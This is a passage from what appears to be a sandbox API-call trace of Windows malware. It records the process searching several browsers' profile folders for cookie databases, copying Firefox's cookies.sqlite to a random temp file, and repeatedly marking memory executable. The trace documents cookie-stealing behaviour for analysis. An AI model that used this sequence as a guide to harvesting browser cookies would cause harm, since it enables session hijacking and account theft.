lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesbird\\User Data\\r Data\\rowser\\User Data\\") returned 16 [0163.615] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.615] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Superbird\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\superbird\\user data\\cookies")) returned 0xffffffff [0163.615] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.615] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceaf54, cbMultiByte=6, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Chedotsers\\Cookiesbird\\User Data\\r Data\\rowser\\User Data\\") returned 6 [0163.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2628, cbMultiByte=32, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Chedot\\User Data\\ta\\r Data\\rowser\\User Data\\") returned 32 [0163.615] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chedot\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\") returned 0x32 [0163.615] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiest\\User Data\\ta\\r Data\\rowser\\User Data\\") returned 16 [0163.616] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.616] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Chedot\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\chedot\\user data\\cookies")) returned 0xffffffff [0163.616] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.616] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb0f4, cbMultiByte=5, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="Torchwsers\\Cookiest\\User Data\\ta\\r Data\\rowser\\User Data\\") returned 5 [0163.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2764, cbMultiByte=31, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%LOCALAPPDATA%\\Torch\\User Data\\\\ta\\r Data\\rowser\\User Data\\") returned 31 [0163.616] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Torch\\User Data\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\") returned 0x31 [0163.616] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookies\\User Data\\\\ta\\r Data\\rowser\\User Data\\") returned 16 [0163.616] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0163.617] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Torch\\User Data\\\\\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\torch\\user data\\cookies")) returned 0xffffffff [0163.617] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0163.617] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0163.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcead70, cbMultiByte=14, lpWideCharStr=0x1e7de9b8, cchWideChar=2047 | out: lpWideCharStr="MozillaFireFoxkies\\User Data\\\\ta\\r Data\\rowser\\User Data\\") returned 14 [0163.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcefe08, cbMultiByte=35, lpWideCharStr=0x1e7de9b4, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Mozilla\\Firefox\\Profiles\\r Data\\rowser\\User Data\\") returned 35 [0163.617] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x3c [0163.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x414084, cbMultiByte=16, lpWideCharStr=0x1e7de9bc, cchWideChar=2047 | out: lpWideCharStr="Browsers\\Cookiesrefox\\Profiles\\r Data\\rowser\\User Data\\") returned 16 [0163.617] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c88 [0163.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf06bc, cbMultiByte=14, lpWideCharStr=0x1e7de6f4, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite⹴硴t") returned 14 [0163.618] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\.\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\cookies.sqlite")) returned 0xffffffff [0163.618] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0163.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf06bc, cbMultiByte=14, lpWideCharStr=0x1e7de6f4, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite⹴硴t") returned 14 [0163.618] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\..\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\cookies.sqlite")) returned 0xffffffff [0163.618] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df76c | out: lpFindFileData=0x1e7df76c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf4500380, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 1 [0163.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf06bc, cbMultiByte=14, lpWideCharStr=0x1e7de6f4, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlite⹴硴t") returned 14 [0163.618] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cookies.sqlite")) returned 0x2020 [0163.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.623] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40f000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.626] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf06bc, cbMultiByte=14, lpWideCharStr=0x1e7de6e8, cchWideChar=2047 | out: lpWideCharStr="cookies.sqlitesqlite⹴硴t") returned 14 [0163.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.627] GetTickCount () returned 0x115c15c [0163.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.627] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df465, cbMultiByte=8, lpWideCharStr=0x1e7de43c, cchWideChar=2047 | out: lpWideCharStr="18202972\x02") returned 8 [0163.628] SysReAllocStringLen (in: pbstr=0x1e7df6c8*=0x0, psz="18202972", len=0x8 | out: pbstr=0x1e7df6c8*="18202972") returned 1 [0163.628] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df528 | out: lpPerformanceCount=0x1e7df528*=24186081980) returned 1 [0163.628] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df429, cbMultiByte=4, lpWideCharStr=0x1e7de400, cchWideChar=2047 | out: lpWideCharStr="1896ຌḪṽ\x10") returned 4 [0163.628] SysReAllocStringLen (in: pbstr=0x1e7df558*=0x0, psz="1896", len=0x4 | out: pbstr=0x1e7df558*="1896") returned 1 [0163.628] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df425, cbMultiByte=4, lpWideCharStr=0x1e7de3fc, cchWideChar=2047 | out: lpWideCharStr="254696ຌḪṽ\x10") returned 4 [0163.628] SysReAllocStringLen (in: pbstr=0x1e7df554*=0x0, psz="2546", len=0x4 | out: pbstr=0x1e7df554*="2546") returned 1 [0163.628] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df421, cbMultiByte=4, lpWideCharStr=0x1e7de3f8, cchWideChar=2047 | out: lpWideCharStr="89504696ຌḪṽ\x10") returned 4 [0163.628] SysReAllocStringLen (in: pbstr=0x1e7df550*=0x0, psz="8950", len=0x4 | out: pbstr=0x1e7df550*="8950") returned 1 [0163.628] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df41d, cbMultiByte=4, lpWideCharStr=0x1e7de3f4, cchWideChar=2047 | out: lpWideCharStr="6701504696ຌḪṽ\x10") returned 4 [0163.628] SysReAllocStringLen (in: pbstr=0x1e7df54c*=0x0, psz="6701", len=0x4 | out: pbstr=0x1e7df54c*="6701") returned 1 [0163.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40e000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0163.629] SysReAllocStringLen (in: pbstr=0x1e7df6d0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\cookies.sqlite", len=0x5b | out: pbstr=0x1e7df6d0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\cookies.sqlite") returned 1 [0163.629] SysReAllocStringLen (in: pbstr=0x1e7df560*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\cookies.sqlite", len=0x5b | out: pbstr=0x1e7df560*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\cookies.sqlite") returned 1 [0163.629] SysReAllocStringLen (in: pbstr=0x1e7df6d0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\cookies.sqlite", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\cookies.sqlite", len=0x5b | out: pbstr=0x1e7df6d0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\cookies.sqlite") returned 1 [0163.629] SysReAllocStringLen (in: pbstr=0x1e7df55c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite", len=0x5a | out: pbstr=0x1e7df55c*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite") returned 1 [0163.629] SysReAllocStringLen (in: pbstr=0x1e7df6d0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\3y2joh8o.default\\cookies.sqlite", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite", len=0x5a | out: pbstr=0x1e7df6d0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite") returned 1 [0163.629] SysReAllocStringLen (in: pbstr=0x1e7df558*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite", len=0x5a | out: pbstr=0x1e7df558*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite") returned 1 [0163.629] SysReAllocStringLen (in: pbstr=0x1e7df6d0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite", psz="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite", len=0x5a | out: pbstr=0x1e7df6d0*="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite") returned 1 [0163.629] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x1ff0004c, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x25 [0163.630] SysReAllocStringLen (in: pbstr=0x1e7df6cc*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", len=0x41 | out: pbstr=0x1e7df6cc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp") returned 1 [0163.630] SysReAllocStringLen (in: pbstr=0x1e7df560*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", len=0x41 | out: pbstr=0x1e7df560*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp") returned 1 [0163.630] SysReAllocStringLen (in: pbstr=0x1e7df6cc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", len=0x41 | out: pbstr=0x1e7df6cc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp") returned 1 [0163.630] SysReAllocStringLen (in: pbstr=0x1e7df55c*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", len=0x41 | out: pbstr=0x1e7df55c*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp") returned 1 [0163.630] SysReAllocStringLen (in: pbstr=0x1e7df6cc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", len=0x41 | out: pbstr=0x1e7df6cc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp") returned 1 [0163.630] SysReAllocStringLen (in: pbstr=0x1e7df558*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", len=0x41 | out: pbstr=0x1e7df558*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp") returned 1 [0163.630] SysReAllocStringLen (in: pbstr=0x1e7df6cc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", len=0x41 | out: pbstr=0x1e7df6cc*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp") returned 1 [0163.630] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\cookies.sqlite" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp"), bFailIfExists=1) returned 1 [0163.666] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", cchWideChar=65, lpMultiByteStr=0x1e7de55c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp\x01[", lpUsedDefaultChar=0x0) returned 65 [0163.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2714, cbMultiByte=65, lpWideCharStr=0x1e7de53c, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp῰") returned 65 [0163.667] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd07030, cbMultiByte=65, lpWideCharStr=0x1e7de55c, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp[") returned 65 [0163.667] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182029721896254689506701.tmp")) returned 0x2020 [0163.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.668] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp") returned 66 [0163.668] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0163.668] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", nBufferLength=0x45, lpBuffer=0x1fe03d30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", lpFilePart=0x0) returned 0x41 [0163.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0163.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", cchWideChar=-1, lpMultiByteStr=0x1fe181a0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp", lpUsedDefaultChar=0x0) returned 66 [0163.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0163.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp") returned 66 [0163.671] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182029721896254689506701.tmp" (normalized: 